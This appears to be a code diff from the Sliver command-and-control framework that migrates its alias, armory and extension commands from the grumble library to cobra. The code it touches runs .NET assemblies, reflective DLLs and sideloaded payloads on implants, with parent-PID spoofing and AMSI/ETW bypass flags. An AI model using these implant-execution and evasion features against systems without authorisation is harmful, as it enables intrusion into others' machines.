@@ -111,7 +115,7 @@ func getInstalledManifests() map[string]*AliasManifest {
|
||||
manifestPaths := assets.GetInstalledAliasManifests()
|
||||
installedManifests := map[string]*AliasManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -124,3 +128,14 @@ func getInstalledManifests() map[string]*AliasManifest {
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
|
||||
// AliasCommandNameCompleter - Completer for installed extensions command names
|
||||
func AliasCompleter() carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
results := []string{}
|
||||
for name := range loadedAliases {
|
||||
results = append(results, name)
|
||||
}
|
||||
return carapace.ActionValues(results...).Tag("aliases")
|
||||
})
|
||||
}
|
||||
@@ -20,21 +20,21 @@ package alias
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// AliasesInstallCmd - Install an alias
|
||||
func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
aliasLocalPath := ctx.Args.String("path")
|
||||
func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
aliasLocalPath := args[0]
|
||||
fi, err := os.Stat(aliasLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
|
||||
@@ -49,7 +49,7 @@ func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
|
||||
manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
@@ -74,12 +74,12 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating alias directory: %s\n", err)
|
||||
con.PrintErrorf("Error creating alias directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
@@ -90,7 +90,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
@@ -129,12 +129,12 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
|
||||
con.PrintErrorf("Failed to create alias directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
@@ -142,7 +142,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
if aliasFile.Path != "" {
|
||||
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
con.PrintErrorf("Failed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
@@ -153,7 +153,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
}
|
||||
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator))))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -165,7 +165,7 @@ func installArtifact(aliasGzFilePath string, installPath, artifactPath string, c
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(artifactDir, 0o700)
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
err = os.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
+128
-87
@@ -28,6 +28,11 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
app "github.com/reeflective/console"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -35,8 +40,6 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -63,7 +66,7 @@ var (
|
||||
// Ties the manifest struct to the command struct
|
||||
type loadedAlias struct {
|
||||
Manifest *AliasManifest
|
||||
Command *grumble.Command
|
||||
Command *cobra.Command
|
||||
}
|
||||
|
||||
// AliasFile - An OS/Arch specific file
|
||||
@@ -121,9 +124,10 @@ func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, target
|
||||
}
|
||||
|
||||
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
alias, err := LoadAlias(dirPath, con)
|
||||
func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
dirPath := args[0]
|
||||
// dirPath := ctx.Args.String("dir-path")
|
||||
alias, err := LoadAlias(dirPath, cmd.Root(), con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load alias: %s\n", err)
|
||||
} else {
|
||||
@@ -132,7 +136,7 @@ func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// LoadAlias - Load an alias into the Sliver shell from a given directory
|
||||
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
// retrieve alias manifest
|
||||
var err error
|
||||
manifestPath, err = filepath.Abs(manifestPath)
|
||||
@@ -150,52 +154,46 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
return nil, err
|
||||
}
|
||||
aliasManifest.RootPath = filepath.Dir(manifestPath)
|
||||
|
||||
// for each alias command, add a new app command
|
||||
|
||||
// do not add if the command already exists
|
||||
if cmdExists(aliasManifest.CommandName, con.App) {
|
||||
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
|
||||
}
|
||||
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
|
||||
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
|
||||
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
|
||||
addAliasCmd := &grumble.Command{
|
||||
Name: aliasManifest.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: longHelpMsg,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runAliasCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
addAliasCmd := &cobra.Command{
|
||||
Use: aliasManifest.CommandName,
|
||||
Short: helpMsg,
|
||||
Long: longHelpMsg,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
runAliasCommand(cmd, con, args)
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if aliasManifest.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("i", "in-process", false, "Run in the current sliver process")
|
||||
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.AliasHelpGroup,
|
||||
Args: cobra.ArbitraryArgs, // a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
GroupID: consts.AliasHelpGroup,
|
||||
Annotations: makeAliasPlatformFilters(aliasManifest),
|
||||
}
|
||||
con.App.AddCommand(addAliasCmd)
|
||||
|
||||
if aliasManifest.IsAssembly {
|
||||
f := pflag.NewFlagSet("assembly", pflag.ContinueOnError)
|
||||
f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.StringP("class", "c", "", "Optional class name (required for .NET DLL)")
|
||||
f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.BoolP("in-process", "i", false, "Run in the current sliver process")
|
||||
f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
addAliasCmd.Flags().AddFlagSet(f)
|
||||
}
|
||||
|
||||
f := pflag.NewFlagSet(aliasManifest.Name, pflag.ContinueOnError)
|
||||
f.StringP("process", "p", "", "Path to process to host the shared object")
|
||||
f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
|
||||
f.Uint32P("ppid", "P", 0, "parent process ID to use when creating the hosting process (Windows only)")
|
||||
f.BoolP("save", "s", false, "Save output to disk")
|
||||
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
|
||||
addAliasCmd.Flags().AddFlagSet(f)
|
||||
|
||||
cmd.AddCommand(addAliasCmd)
|
||||
|
||||
// Have to use a global map here, as passing the aliasCmd
|
||||
// either by value or by ref fucks things up
|
||||
@@ -243,7 +241,7 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
return alias, nil
|
||||
}
|
||||
|
||||
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
@@ -258,18 +256,18 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
loadedAlias, ok := loadedAliases[ctx.Command.Name]
|
||||
loadedAlias, ok := loadedAliases[cmd.Name()]
|
||||
if !ok {
|
||||
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
|
||||
con.PrintErrorf("No alias found for `%s` command\n", cmd.Name())
|
||||
return
|
||||
}
|
||||
aliasManifest := loadedAlias.Manifest
|
||||
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
binPath, err := aliasManifest.getFileForTarget(cmd.Name(), goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Fail to find alias file: %s\n", err)
|
||||
return
|
||||
}
|
||||
args := ctx.Args.StringList("arguments")
|
||||
// args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = aliasManifest.DefaultArgs
|
||||
@@ -279,7 +277,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
|
||||
// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
|
||||
// The Donut loader has a hard limit of 256 characters for the command line arguments, so
|
||||
// we're alerting the user that the arguments will be truncated.
|
||||
@@ -289,10 +287,10 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
|
||||
// if the flag is not registered.
|
||||
if aliasManifest.IsAssembly {
|
||||
inProcess := ctx.Flags.Bool("in-process")
|
||||
runtime := ctx.Flags.String("runtime")
|
||||
amsiBypass := ctx.Flags.Bool("amsi-bypass")
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
inProcess, _ := cmd.Flags().GetBool("in-process")
|
||||
runtime, _ := cmd.Flags().GetString("runtime")
|
||||
amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
|
||||
etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
|
||||
if !inProcess {
|
||||
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
|
||||
}
|
||||
@@ -312,7 +310,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
processName := ctx.Flags.String("process")
|
||||
processName, _ := cmd.Flags().GetString("process")
|
||||
if processName == "" {
|
||||
processName, err = aliasManifest.getDefaultProcess(goos)
|
||||
if err != nil {
|
||||
@@ -329,9 +327,10 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
|
||||
if save, _ := cmd.Flags().GetBool("save"); save {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(cmd.Name()), filepath.Base(session.GetHostname())))
|
||||
outFilePath, err = os.CreateTemp("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -341,26 +340,37 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
if aliasManifest.IsAssembly {
|
||||
|
||||
// Flags
|
||||
arch, _ := cmd.Flags().GetString("arch")
|
||||
method, _ := cmd.Flags().GetString("method")
|
||||
className, _ := cmd.Flags().GetString("class")
|
||||
appDomain, _ := cmd.Flags().GetString("app-domain")
|
||||
pPid, _ := cmd.Flags().GetUint32("ppid")
|
||||
inProcess, _ := cmd.Flags().GetBool("in-process")
|
||||
runtime, _ := cmd.Flags().GetString("runtime")
|
||||
amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
|
||||
etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
|
||||
|
||||
// Execute Assembly
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
Arch: arch,
|
||||
Method: method,
|
||||
ClassName: className,
|
||||
AppDomain: appDomain,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
Runtime: ctx.Flags.String("runtime"),
|
||||
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
|
||||
EtwBypass: ctx.Flags.Bool("etw-bypass"),
|
||||
PPid: pPid,
|
||||
InProcess: inProcess,
|
||||
Runtime: runtime,
|
||||
AmsiBypass: amsiBypass,
|
||||
EtwBypass: etwBypass,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -376,28 +386,30 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(executeAssemblyResp.Response)
|
||||
} else {
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else if aliasManifest.IsReflective {
|
||||
// Flags
|
||||
pPid, _ := cmd.Flags().GetUint32("ppid")
|
||||
|
||||
// Spawn DLL
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
Kill: true,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
PPid: pPid,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -413,21 +425,23 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawnDllResp.Response)
|
||||
} else {
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else {
|
||||
// Flags
|
||||
pPid, _ := cmd.Flags().GetUint32("ppid")
|
||||
|
||||
// Sideload
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
@@ -435,7 +449,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
PPid: pPid,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -451,11 +465,11 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideloadResp.Response)
|
||||
} else {
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -487,11 +501,38 @@ func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly,
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
func makeAliasPlatformFilters(alias *AliasManifest) map[string]string {
|
||||
filtersOS := make(map[string]bool)
|
||||
filtersArch := make(map[string]bool)
|
||||
|
||||
var all []string
|
||||
|
||||
// Only add filters for architectures when there OS matters.
|
||||
for _, file := range alias.Files {
|
||||
filtersOS[file.OS] = true
|
||||
|
||||
if filtersOS[file.OS] {
|
||||
filtersArch[file.Arch] = true
|
||||
}
|
||||
}
|
||||
return false
|
||||
|
||||
for os, enabled := range filtersOS {
|
||||
if enabled {
|
||||
all = append(all, os)
|
||||
}
|
||||
}
|
||||
|
||||
for arch, enabled := range filtersArch {
|
||||
if enabled {
|
||||
all = append(all, arch)
|
||||
}
|
||||
}
|
||||
|
||||
if len(all) == 0 {
|
||||
return map[string]string{}
|
||||
}
|
||||
|
||||
return map[string]string{
|
||||
app.CommandFilterKey: strings.Join(all, ","),
|
||||
}
|
||||
}
|
||||
@@ -25,14 +25,16 @@ import (
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name := args[0]
|
||||
// name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
@@ -61,7 +63,7 @@ func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClie
|
||||
return errors.New("alias not loaded")
|
||||
}
|
||||
delete(loadedAliases, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
// con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
|
||||
@@ -23,19 +23,20 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
// ArmoryIndex - Index JSON containing alias/extension/bundle information
|
||||
@@ -104,10 +105,10 @@ var (
|
||||
)
|
||||
|
||||
// ArmoryCmd - The main armory command
|
||||
func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ArmoryCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
if len(indexes) != len(armoriesConfig) {
|
||||
con.Printf("errors!\n")
|
||||
@@ -201,26 +202,41 @@ func bundlesInCache() []*ArmoryBundle {
|
||||
}
|
||||
|
||||
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
|
||||
func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
bundles := bundlesInCache()
|
||||
for _, aliasPkg := range aliases {
|
||||
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
|
||||
func AliasExtensionOrBundleCompleter() carapace.Action {
|
||||
comps := func(ctx carapace.Context) carapace.Action {
|
||||
var action carapace.Action
|
||||
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
bundles := bundlesInCache()
|
||||
|
||||
for _, aliasPkg := range aliases {
|
||||
results = append(results, aliasPkg.CommandName)
|
||||
results = append(results, aliasPkg.Help)
|
||||
}
|
||||
}
|
||||
for _, extensionPkg := range exts {
|
||||
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
|
||||
aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx)
|
||||
results = make([]string, 0)
|
||||
|
||||
for _, extensionPkg := range exts {
|
||||
results = append(results, extensionPkg.CommandName)
|
||||
results = append(results, extensionPkg.Help)
|
||||
}
|
||||
}
|
||||
for _, bundle := range bundles {
|
||||
if strings.HasPrefix(bundle.Name, prefix) {
|
||||
extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx)
|
||||
results = make([]string, 0)
|
||||
|
||||
for _, bundle := range bundles {
|
||||
results = append(results, bundle.Name)
|
||||
}
|
||||
bundleComps := carapace.ActionValues(results...).Tag("bundles").Invoke(ctx)
|
||||
|
||||
return action.Invoke(ctx).Merge(
|
||||
aliasesComps,
|
||||
extentionComps,
|
||||
bundleComps,
|
||||
).ToA()
|
||||
}
|
||||
return results
|
||||
|
||||
return carapace.ActionCallback(comps)
|
||||
}
|
||||
|
||||
// PrintArmoryPackages - Prints the armory packages
|
||||
@@ -285,10 +301,12 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
})
|
||||
}
|
||||
|
||||
sliverMenu := con.App.Menu("implant")
|
